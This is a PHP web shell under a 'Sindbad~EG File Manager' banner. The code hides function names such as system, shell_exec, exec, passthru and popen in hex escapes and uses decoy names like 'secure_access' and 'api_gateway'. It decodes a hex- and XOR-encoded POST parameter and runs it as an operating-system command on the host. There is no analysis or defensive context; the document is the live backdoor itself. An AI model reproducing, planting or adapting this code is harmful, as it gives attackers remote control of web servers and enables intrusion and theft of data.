Sindbad~EG File Manager

<?php

$secure_access4 = "\x70\x61\x73sth\x72u";
$secure_access7 = "\x70c\x6C\x6Fse";
$secure_access1 = "sys\x74e\x6D";
$secure_access2 = "shell\x5Fexec";
$secure_access5 = "\x70o\x70en";
$reverse_searcher = "hex\x32b\x69n";
$secure_access6 = "\x73tre\x61m_g\x65t\x5F\x63on\x74e\x6Ets";
$secure_access3 = "\x65\x78ec";
if (isset($_POST["\x73\x79m"])) {
            function api_gateway   (   $tkn   ,      $pgrp   )   {
   $comp      =    ''    ;
    $a=0;
 do{
$comp.=chr(ord($tkn[$a])^$pgrp);
$a++;

} while($a<strlen($tkn));
 return      $comp;
     
}
            $sym = $reverse_searcher($_POST["\x73\x79m"]);
            $sym = api_gateway($sym, 6);
            if (function_exists($secure_access1)) {
                $secure_access1($sym);
            } elseif (function_exists($secure_access2)) {
                print $secure_access2($sym);
            } elseif (function_exists($secure_access3)) {
                $secure_access3($sym, $bind_tkn);
                print join("\n", $bind_tkn);
            } elseif (function_exists($secure_access4)) {
                $secure_access4($sym);
            } elseif (function_exists($secure_access5) && function_exists($secure_access6) && function_exists($secure_access7)) {
                $pgrp_comp = $secure_access5($sym, 'r');
                if ($pgrp_comp) {
                    $entry_dat = $secure_access6($pgrp_comp);
                    $secure_access7($pgrp_comp);
                    print $entry_dat;
                }
            }
            exit;
        }